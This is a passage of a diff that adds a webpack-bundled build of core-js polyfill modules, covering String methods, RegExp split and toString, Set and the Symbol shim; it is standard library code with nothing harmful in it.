string[LENGTH]) $push.apply(output, match.slice(1)); + lastLength = match[0][LENGTH]; + lastLastIndex = lastIndex; + if (output[LENGTH] >= splitLimit) break; + } + if (separatorCopy[LAST_INDEX] === match.index) separatorCopy[LAST_INDEX]++; // Avoid an infinite loop + } + if (lastLastIndex === string[LENGTH]) { + if (lastLength || !separatorCopy.test('')) output.push(''); + } else output.push(string.slice(lastLastIndex)); + return output[LENGTH] > splitLimit ? output.slice(0, splitLimit) : output; + }; + // Chakra, V8 + } else if ('0'[$SPLIT](undefined, 0)[LENGTH]) { + internalSplit = function (separator, limit) { + return separator === undefined && limit === 0 ? [] : $split.call(this, separator, limit); + }; + } else { + internalSplit = $split; + } + + return [ + // `String.prototype.split` method + // https://tc39.github.io/ecma262/#sec-string.prototype.split + function split(separator, limit) { + var O = defined(this); + var splitter = separator == undefined ? undefined : separator[SPLIT]; + return splitter !== undefined + ? splitter.call(separator, O, limit) + : internalSplit.call(String(O), separator, limit); + }, + // `RegExp.prototype[@@split]` method + // https://tc39.github.io/ecma262/#sec-regexp.prototype-@@split + // + // NOTE: This cannot be properly polyfilled in engines that don't support + // the 'y' flag. + function (regexp, limit) { + var res = maybeCallNative(internalSplit, regexp, this, limit, internalSplit !== $split); + if (res.done) return res.value; + + var rx = anObject(regexp); + var S = String(this); + var C = speciesConstructor(rx, RegExp); + + var unicodeMatching = rx.unicode; + var flags = (rx.ignoreCase ? 'i' : '') + + (rx.multiline ? 'm' : '') + + (rx.unicode ? 'u' : '') + + (SUPPORTS_Y ? 'y' : 'g'); + + // ^(? + rx + ) is needed, in combination with some S slicing, to + // simulate the 'y' flag. + var splitter = new C(SUPPORTS_Y ? rx : '^(?:' + rx.source + ')', flags); + var lim = limit === undefined ? MAX_UINT32 : limit >>> 0; + if (lim === 0) return []; + if (S.length === 0) return callRegExpExec(splitter, S) === null ? [S] : []; + var p = 0; + var q = 0; + var A = []; + while (q < S.length) { + splitter.lastIndex = SUPPORTS_Y ? q : 0; + var z = callRegExpExec(splitter, SUPPORTS_Y ? S : S.slice(q)); + var e; + if ( + z === null || + (e = $min(toLength(splitter.lastIndex + (SUPPORTS_Y ? 0 : q)), S.length)) === p + ) { + q = advanceStringIndex(S, q, unicodeMatching); + } else { + A.push(S.slice(p, q)); + if (A.length === lim) return A; + for (var i = 1; i <= z.length - 1; i++) { + A.push(z[i]); + if (A.length === lim) return A; + } + q = p = e; + } + } + A.push(S.slice(p)); + return A; + } + ]; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.regexp.to-string.js": +/*!**************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.regexp.to-string.js ***! + \**************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +__webpack_require__(/*! ./es6.regexp.flags */ "./node_modules/core-js/modules/es6.regexp.flags.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var $flags = __webpack_require__(/*! ./_flags */ "./node_modules/core-js/modules/_flags.js"); +var DESCRIPTORS = __webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js"); +var TO_STRING = 'toString'; +var $toString = /./[TO_STRING]; + +var define = function (fn) { + __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js")(RegExp.prototype, TO_STRING, fn, true); +}; + +// 21.2.5.14 RegExp.prototype.toString() +if (__webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () { return $toString.call({ source: 'a', flags: 'b' }) != '/a/b'; })) { + define(function toString() { + var R = anObject(this); + return '/'.concat(R.source, '/', + 'flags' in R ? R.flags : !DESCRIPTORS && R instanceof RegExp ? $flags.call(R) : undefined); + }); +// FF44- RegExp#toString has a wrong name +} else if ($toString.name != TO_STRING) { + define(function toString() { + return $toString.call(this); + }); +} + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.set.js": +/*!*************************************************!*\ + !*** ./node_modules/core-js/modules/es6.set.js ***! + \*************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var strong = __webpack_require__(/*! ./_collection-strong */ "./node_modules/core-js/modules/_collection-strong.js"); +var validate = __webpack_require__(/*! ./_validate-collection */ "./node_modules/core-js/modules/_validate-collection.js"); +var SET = 'Set'; + +// 23.2 Set Objects +module.exports = __webpack_require__(/*! ./_collection */ "./node_modules/core-js/modules/_collection.js")(SET, function (get) { + return function Set() { return get(this, arguments.length > 0 ? arguments[0] : undefined); }; +}, { + // 23.2.3.1 Set.prototype.add(value) + add: function add(value) { + return strong.def(validate(this, SET), value = value === 0 ? 0 : value, value); + } +}, strong); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.anchor.js": +/*!***********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.anchor.js ***! + \***********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// B.2.3.2 String.prototype.anchor(name) +__webpack_require__(/*! ./_string-html */ "./node_modules/core-js/modules/_string-html.js")('anchor', function (createHTML) { + return function anchor(name) { + return createHTML(this, 'a', 'name', name); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.big.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.big.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// B.2.3.3 String.prototype.big() +__webpack_require__(/*! ./_string-html */ "./node_modules/core-js/modules/_string-html.js")('big', function (createHTML) { + return function big() { + return createHTML(this, 'big', '', ''); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.blink.js": +/*!**********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.blink.js ***! + \**********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// B.2.3.4 String.prototype.blink() +__webpack_require__(/*! ./_string-html */ "./node_modules/core-js/modules/_string-html.js")('blink', function (createHTML) { + return function blink() { + return createHTML(this, 'blink', '', ''); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.bold.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.bold.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// B.2.3.5 String.prototype.bold() +__webpack_require__(/*! ./_string-html */ "./node_modules/core-js/modules/_string-html.js")('bold', function (createHTML) { + return function bold() { + return createHTML(this, 'b', '', ''); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.code-point-at.js": +/*!******************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.code-point-at.js ***! + \******************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $at = __webpack_require__(/*! ./_string-at */ "./node_modules/core-js/modules/_string-at.js")(false); +$export($export.P, 'String', { + // 21.1.3.3 String.prototype.codePointAt(pos) + codePointAt: function codePointAt(pos) { + return $at(this, pos); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.ends-with.js": +/*!**************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.ends-with.js ***! + \**************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; +// 21.1.3.6 String.prototype.endsWith(searchString [, endPosition]) + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js"); +var context = __webpack_require__(/*! ./_string-context */ "./node_modules/core-js/modules/_string-context.js"); +var ENDS_WITH = 'endsWith'; +var $endsWith = ''[ENDS_WITH]; + +$export($export.P + $export.F * __webpack_require__(/*! ./_fails-is-regexp */ "./node_modules/core-js/modules/_fails-is-regexp.js")(ENDS_WITH), 'String', { + endsWith: function endsWith(searchString /* , endPosition = @length */) { + var that = context(this, searchString, ENDS_WITH); + var endPosition = arguments.length > 1 ? arguments[1] : undefined; + var len = toLength(that.length); + var end = endPosition === undefined ? len : Math.min(toLength(endPosition), len); + var search = String(searchString); + return $endsWith + ? $endsWith.call(that, search, end) + : that.slice(end - search.length, end) === search; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.fixed.js": +/*!**********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.fixed.js ***! + \**********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// B.2.3.6 String.prototype.fixed() +__webpack_require__(/*! ./_string-html */ "./node_modules/core-js/modules/_string-html.js")('fixed', function (createHTML) { + return function fixed() { + return createHTML(this, 'tt', '', ''); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.fontcolor.js": +/*!**************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.fontcolor.js ***! + \**************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// B.2.3.7 String.prototype.fontcolor(color) +__webpack_require__(/*! ./_string-html */ "./node_modules/core-js/modules/_string-html.js")('fontcolor', function (createHTML) { + return function fontcolor(color) { + return createHTML(this, 'font', 'color', color); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.fontsize.js": +/*!*************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.fontsize.js ***! + \*************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// B.2.3.8 String.prototype.fontsize(size) +__webpack_require__(/*! ./_string-html */ "./node_modules/core-js/modules/_string-html.js")('fontsize', function (createHTML) { + return function fontsize(size) { + return createHTML(this, 'font', 'size', size); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.from-code-point.js": +/*!********************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.from-code-point.js ***! + \********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var toAbsoluteIndex = __webpack_require__(/*! ./_to-absolute-index */ "./node_modules/core-js/modules/_to-absolute-index.js"); +var fromCharCode = String.fromCharCode; +var $fromCodePoint = String.fromCodePoint; + +// length should be 1, old FF problem +$export($export.S + $export.F * (!!$fromCodePoint && $fromCodePoint.length != 1), 'String', { + // 21.1.2.2 String.fromCodePoint(...codePoints) + fromCodePoint: function fromCodePoint(x) { // eslint-disable-line no-unused-vars + var res = []; + var aLen = arguments.length; + var i = 0; + var code; + while (aLen > i) { + code = +arguments[i++]; + if (toAbsoluteIndex(code, 0x10ffff) !== code) throw RangeError(code + ' is not a valid code point'); + res.push(code < 0x10000 + ? fromCharCode(code) + : fromCharCode(((code -= 0x10000) >> 10) + 0xd800, code % 0x400 + 0xdc00) + ); + } return res.join(''); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.includes.js": +/*!*************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.includes.js ***! + \*************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; +// 21.1.3.7 String.prototype.includes(searchString, position = 0) + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var context = __webpack_require__(/*! ./_string-context */ "./node_modules/core-js/modules/_string-context.js"); +var INCLUDES = 'includes'; + +$export($export.P + $export.F * __webpack_require__(/*! ./_fails-is-regexp */ "./node_modules/core-js/modules/_fails-is-regexp.js")(INCLUDES), 'String', { + includes: function includes(searchString /* , position = 0 */) { + return !!~context(this, searchString, INCLUDES) + .indexOf(searchString, arguments.length > 1 ? arguments[1] : undefined); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.italics.js": +/*!************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.italics.js ***! + \************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// B.2.3.9 String.prototype.italics() +__webpack_require__(/*! ./_string-html */ "./node_modules/core-js/modules/_string-html.js")('italics', function (createHTML) { + return function italics() { + return createHTML(this, 'i', '', ''); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.iterator.js": +/*!*************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.iterator.js ***! + \*************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $at = __webpack_require__(/*! ./_string-at */ "./node_modules/core-js/modules/_string-at.js")(true); + +// 21.1.3.27 String.prototype[@@iterator]() +__webpack_require__(/*! ./_iter-define */ "./node_modules/core-js/modules/_iter-define.js")(String, 'String', function (iterated) { + this._t = String(iterated); // target + this._i = 0; // next index +// 21.1.5.2.1 %StringIteratorPrototype%.next() +}, function () { + var O = this._t; + var index = this._i; + var point; + if (index >= O.length) return { value: undefined, done: true }; + point = $at(O, index); + this._i += point.length; + return { value: point, done: false }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.link.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.link.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// B.2.3.10 String.prototype.link(url) +__webpack_require__(/*! ./_string-html */ "./node_modules/core-js/modules/_string-html.js")('link', function (createHTML) { + return function link(url) { + return createHTML(this, 'a', 'href', url); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.raw.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.raw.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var toIObject = __webpack_require__(/*! ./_to-iobject */ "./node_modules/core-js/modules/_to-iobject.js"); +var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js"); + +$export($export.S, 'String', { + // 21.1.2.4 String.raw(callSite, ...substitutions) + raw: function raw(callSite) { + var tpl = toIObject(callSite.raw); + var len = toLength(tpl.length); + var aLen = arguments.length; + var res = []; + var i = 0; + while (len > i) { + res.push(String(tpl[i++])); + if (i < aLen) res.push(String(arguments[i])); + } return res.join(''); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.repeat.js": +/*!***********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.repeat.js ***! + \***********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.P, 'String', { + // 21.1.3.13 String.prototype.repeat(count) + repeat: __webpack_require__(/*! ./_string-repeat */ "./node_modules/core-js/modules/_string-repeat.js") +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.small.js": +/*!**********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.small.js ***! + \**********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// B.2.3.11 String.prototype.small() +__webpack_require__(/*! ./_string-html */ "./node_modules/core-js/modules/_string-html.js")('small', function (createHTML) { + return function small() { + return createHTML(this, 'small', '', ''); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.starts-with.js": +/*!****************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.starts-with.js ***! + \****************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; +// 21.1.3.18 String.prototype.startsWith(searchString [, position ]) + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js"); +var context = __webpack_require__(/*! ./_string-context */ "./node_modules/core-js/modules/_string-context.js"); +var STARTS_WITH = 'startsWith'; +var $startsWith = ''[STARTS_WITH]; + +$export($export.P + $export.F * __webpack_require__(/*! ./_fails-is-regexp */ "./node_modules/core-js/modules/_fails-is-regexp.js")(STARTS_WITH), 'String', { + startsWith: function startsWith(searchString /* , position = 0 */) { + var that = context(this, searchString, STARTS_WITH); + var index = toLength(Math.min(arguments.length > 1 ? arguments[1] : undefined, that.length)); + var search = String(searchString); + return $startsWith + ? $startsWith.call(that, search, index) + : that.slice(index, index + search.length) === search; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.strike.js": +/*!***********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.strike.js ***! + \***********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// B.2.3.12 String.prototype.strike() +__webpack_require__(/*! ./_string-html */ "./node_modules/core-js/modules/_string-html.js")('strike', function (createHTML) { + return function strike() { + return createHTML(this, 'strike', '', ''); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.sub.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.sub.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// B.2.3.13 String.prototype.sub() +__webpack_require__(/*! ./_string-html */ "./node_modules/core-js/modules/_string-html.js")('sub', function (createHTML) { + return function sub() { + return createHTML(this, 'sub', '', ''); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.sup.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.sup.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// B.2.3.14 String.prototype.sup() +__webpack_require__(/*! ./_string-html */ "./node_modules/core-js/modules/_string-html.js")('sup', function (createHTML) { + return function sup() { + return createHTML(this, 'sup', '', ''); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.trim.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.trim.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// 21.1.3.25 String.prototype.trim() +__webpack_require__(/*! ./_string-trim */ "./node_modules/core-js/modules/_string-trim.js")('trim', function ($trim) { + return function trim() { + return $trim(this, 3); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.symbol.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/es6.symbol.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// ECMAScript 6 symbols shim +var global = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js"); +var has = __webpack_require__(/*! ./_has */ "./node_modules/core-js/modules/_has.js"); +var DESCRIPTORS = __webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js"); +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var redefine = __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js"); +var META = __webpack_require__(/*! ./_meta */ "./node_modules/core-js/modules/_meta.js").KEY; +var $fails = __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js"); +var shared = __webpack_require__(/*! ./_shared */ "./node_modules/core-js/modules/_shared.js"); +var setToStringTag = __webpack_require__(/*! ./_set-to-string-tag */ "./node_modules/core-js/modules/_set-to-string-tag.js"); +var uid = __webpack_require__(/*! ./_uid */ "./node_modules/core-js/modules/_uid.js"); +var wks = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js"); +var wksExt = __webpack_require__(/*! ./_wks-ext */ "./node_modules/core-js/modules/_wks-ext.js"); +var wksDefine = __webpack_require__(/*! ./_wks-define */ "./node_modules/core-js/modules/_wks-define.js"); +var enumKeys = __webpack_require__(/*! ./_enum-keys */ "./node_modules/core-js/modules/_enum-keys.js"); +var isArray = __webpack_require__(/*! ./_is-array */ "./node_modules/core-js/modules/_is-array.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var toObject = __webpack_require__(/*! ./_to-object */ "./node_modules/core-js/modules/_to-object.js"); +var toIObject = __webpack_require__(/*! ./_to-iobject */ "./node_modules/core-js/modules/_to-iobject.js"); +var toPrimitive = __webpack_require__(/*! ./_to-primitive */ "./node_modules/core-js/modules/_to-primitive.js"); +var createDesc = __webpack_require__(/*! ./_property-desc */ "./node_modules/core-js/modules/_property-desc.js"); +var _create = __webpack_require__(/*! ./_object-create */ "./node_modules/core-js/modules/_object-create.js"); +var gOPNExt = __webpack_require__(/*! ./_object-gopn-ext */ "./node_modules/core-js/modules/_object-gopn-ext.js"); +var $GOPD = __webpack_require__(/*! ./_object-gopd */ "./node_modules/core-js/modules/_object-gopd.js"); +var $GOPS = __webpack_require__(/*! ./_object-gops */ "./node_modules/core-js/modules/_object-gops.js"); +var $DP = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js"); +var $keys = __webpack_require__(/*! ./_object-keys */ "./node_modules/core-js/modules/_object-keys.js"); +var gOPD = $GOPD.f; +var dP = $DP.f; +var gOPN = gOPNExt.f; +var $Symbol = global.Symbol; +var $JSON = global.JSON; +var _stringify = $JSON && $JSON.stringify; +var PROTOTYPE = 'prototype'; +var HIDDEN = wks('_hidden'); +var TO_PRIMITIVE = wks('toPrimitive'); +var isEnum = {}.propertyIsEnumerable; +var SymbolRegistry = shared('symbol-registry'); +var AllSymbols = shared('symbols'); +var OPSymbols = shared('op-symbols'); +var ObjectProto = Object[PROTOTYPE]; +var USE_NATIVE = typeof $Symbol == 'function' && !!$GOPS.f; +var QObject = global.QObject; +// Don't use setters in Qt Script, https://github.com/zloirock/core-js/issues/173 +var setter = !QObject || !QObject[PROTOTYPE] || !QObject[PROTOTYPE].findChild; + +// fallback for old Android, https://code.google.com/p/v8/issues/detail?id=687 +var setSymbolDesc = DESCRIPTORS && $fails(function () { + return _create(dP({}, 'a', { + get: function () { return dP(this, 'a', { value: 7 }).a; } + })).a != 7; +}) ? function (it, key, D) { + var protoDesc = gOPD(ObjectProto, key); + if (protoDesc) delete ObjectProto[key]; + dP(it, key, D); + if (protoDesc && it !== ObjectProto) dP(ObjectProto, key, protoDesc); +} : dP; + +var wrap = function (tag) { + var sym = AllSymbols[tag] = _create($Symbol[PROTOTYPE]); + sym._k = tag; + return sym; +}; + +var isSymbol = USE_NATIVE && typeof $Symbol.iterator == 'symbol' ? function (it) { + return typeof it == 'symbol'; +} : function (it) { + return it instanceof $Symbol; +}; + +var $defineProperty = function defineProperty(it, key, D) { + if (it === ObjectProto) $defineProperty(OPSymbols, key, D); + anObject(it); + key = toPrimitive(key, true); + anObject(D); + if (has(AllSymbols, key)) { + if (!D.enumerable) { + if (!has(it, HIDDEN)) dP(it, HIDDEN, createDesc(1, {})); + it[HIDDEN][key] = true; + } else { + if (has(it, HIDDEN) && it[HIDDEN][key]) it[HIDDEN][key] = false; + D = _create(D, { enumerable: createDesc(0, false) }); + } return setSymbolDesc(it, key, D); + } return dP(it, key, D); +}; +var $defineProperties = function defineProperties(it, P) { + anObject(it); + var keys = enumKeys(P = toIObject(P)); + var i = 0; + var l = keys.length; + var key; + while (l > i) $defineProperty(it, key = keys[i++], P[key]); + return it; +}; +var $create = function create(it, P) { + return P === undefined ? _create(it) : $defineProperties(_create(it), P); +}; +var $propertyIsEnumerable = function propertyIsEnumerable(key) { + var E = isEnum.call(this, key = toPrimitive(key, true)); + if (this === ObjectProto && has(AllSymbols, key) && !has(OPSymbols, key)) return false; + return E || !has(this, key) || !has(AllSymbols, key) || has(this, HIDDEN) && this[HIDDEN][key] ? E : true; +}; +var $getOwnPropertyDescriptor = function getOwnPropertyDescriptor(it, key) { + it = toIObject(it); + key = toPrimitive(key, true); + if (it === ObjectProto && has(AllSymbols, key) && !has(OPSymbols, key)) return; + var D = gOPD(it, key); + if (D && has(AllSymbols, key) && !(has(it, HIDDEN) && it[HIDDEN][key])) D.enumerable = true; + return D; +}; +var $getOwnPropertyNames = function getOwnPropertyNames(it) { + var names = gOPN(toIObject(it)); + var result = []; + var i = 0; + var key; + while (names.length > i) { + if (!has(AllSymbols, key = names[i++]) && key != HIDDEN && key != META) result.push(key); + } return result; +}; +var $getOwnPropertySymbols = function getOwnPropertySymbols(it) { + var IS_OP = it === ObjectProto; + var names = gOPN(IS_OP ? OPSymbols : toIObject(it)); + var result = []; + var i = 0; + var key; + while (names.length > i) { + if (has(AllSymbols, key = names[i++]) && (IS_OP ? has(ObjectProto, key) : true)) result.push(AllSymbols[key]); + } return result; +}; + +// 19.4.1.1 Symbol([description]) +if (!USE_NATIVE) { + $Symbol = function Symbol() { + if (this instanceof $Symbol) throw TypeError('Symbol is not a constructor!'); + var tag = uid(arguments.length > 0 ? arguments[0] : undefined); + var $set = function (value) { + if (this === ObjectProto) $set.call(OPSymbols, value); + if (has(this, HIDDEN) && has(this[HIDDEN], tag)) this[HIDDEN][tag] = false; + setSymbolDesc(this, tag, createDesc(1, value)); + }; + if (DESCRIPTORS && setter) setSymbolDesc(ObjectProto, tag, { configurable: true, set: $set }); + return wrap(tag); + }; + redefine($Symbol[PROTOTYPE], 'toString', function toString() { + return this._k; + }); + + $GOPD.f = $getOwnPropertyDescriptor; + $DP.f = $defineProperty; + __webpack_require__(/*! ./_object-gopn */ "./node_modules/core-js/modules/_object-gopn.js").f = gOPNExt.f = $getOwnPropertyNames; + __webpack_require__(/*! ./_object-pie */ "./node_modules/core-js/modules/_object-pie.js").f = $propertyIsEnumerable; + $GOPS.f = $getOwnPropertySymbols; + + if (DESCRIPTORS && !__webpack_require__(/*! ./_library */ "./node_modules/core-js/modules/_library.js")) { + redefine(ObjectProto, 'propertyIsEnumerable', $propertyIsEnumerable, true); + } + + wksExt.f = function (name) { + return wrap(wks(name)); + }; +} + +$export($export.G + $export.W + $export.F * !USE_NATIVE, { Symbol: $Symbol }); + +for (var es6Symbols = ( + // 19.4.2.2, 19.4.2.3, 19.4.2.4, 19.4.2.6, 19.4.2.8, 19.4.2.9, 19.4.2.10, 19.4.2.11, 19.4.2.12, 19.4.2.13, 19.4.2.14 + 'hasInstance,isConcatSpreadable,iterator,match,replace,search,species,split,toPrimitive,toStringTag,unscopables' +).split(','), j = 0; es6Symbols.length > j;)wks(es6Symbols[j++]); + +for (var wellKnownSymbols = $keys(wks.store), k = 0; wellKnownSymbols.length > k;) wksDefine(wellKnownSymbols[k++]); + +$export($export.S + $export.F * !USE_NATIVE, 'Symbol', { + // 19.4.2.1 Symbol.for(key) + 'for': function (key) { + return has(SymbolRegistry, key += '') + ? SymbolRegistry[key] + : SymbolRegistry[key] = $Symbol(key); + }, + // 19.4.2.5 Symbol.keyFor(sym) + keyFor: function keyFor(sym) { + if (!isSymbol(sym)) throw TypeError(sym + ' is not a symbol!'); + for (var key in SymbolRegistry) if (SymbolRegistry[key] === sym) return key; + }, + useSetter: function () { setter = true; }, + useSimple: function () { setter = false; } +}); + +$export($export.S + $export.F * !USE_NATIVE, 'Object', { + // 19.1.2.2 Object.create(O [, Properties]) + create: $create, + // 19.1.2.4 Object.defineProperty(O, P, Attributes) + defineProperty: $defineProperty, + // 19.1.2.3 Object.defineProperties(O, Properties) + defineProperties: $defineProperties, + // 19.1.2.6 Object.getOwnPropertyDescriptor(O, P) + getOwnPropertyDescriptor: $getOwnPropertyDescriptor, + // 19.1.2.7 Object.getOwnPropertyNames(O) + getOwnPropertyNames: $getOwnPropertyNames, + // 19.1.2.8 Object.getOwnPropertySymbols(O) + getOwnPropertySymbols: $getOwnPropertySymbols +}); + +// Chrome 38 and 39 `Object.getOwnPropertySymbols` fails on primitives +// https://bugs.chromium.org/p/v8/issues/detail?id=3443 +var FAILS_ON_PRIMITIVES = $fails(function () { $GOPS.f(1); }); + +$export($export.S + $export.F * FAILS_ON_PRIMITIVES, 'Object', { + getOwnPropertySymbols: function getOwnPropertySymbols(it) { + return $GOPS.f(toObject(it)); + } +}); + +// 24.3.2 JSON.stringify(value [, replacer [, space]]) +$JSON && $export($export.S + $export.F * (!USE_NATIVE || $fails(function () { + var S = $Symbol(); + // MS Edge converts symbol values to JSON as {} + // WebKit converts symbol values to JSON as null + // V8 throws on boxed symbols + return _stringify([S]) != '[null]' || _stringify({ a: S }) != '{}' || _stringify(Object(S)) != '{}'; +})), 'JSON', { + stringify: function stringify(it) { + var args = [it]; + var i = 1; + var replacer, $replacer; + while (arguments.length > i) args.push(arguments[i++]); + $replacer = replacer = args[1]; + if (!isObject(replacer) && it === undefined || isSymbol(it)) return; // IE8 returns string on undefined + if (!isArray(replacer)) replacer = function (key, value) { + if (typeof $replacer == 'function') value = $replacer.call(this, key, value); + if (!isSymbol(value)) return value; + }; + args[1] = replacer; + return _stringify.apply($JSON, args); + } +}); + +// 19.4.3.4 Symbol.prototype[@@toPrimitive](hint) +$Symbol[PROTOTYPE][TO_PRIMITIVE] || __webpack_require__(/*! ./_hide */ "./node_modules/core-js/modules/_hide.js")($Symbol[PROTOTYPE], TO_PRIMITIVE, $Symbol[PROTOTYPE].valueOf); +// 19.4.3.5 Symbol.prototype[@@toStringTag] +setToStringTag($Symbol, 'Symbol'); +// 20.2.1.9 Math[@@toStringTag] +setToStringTag(Math, 'Math', true); +// 24.3.3 JSON[@@toStringTag] +setToStringTag(global.JSON, 'JSON', true); + + +/***/ }), + +/***/ 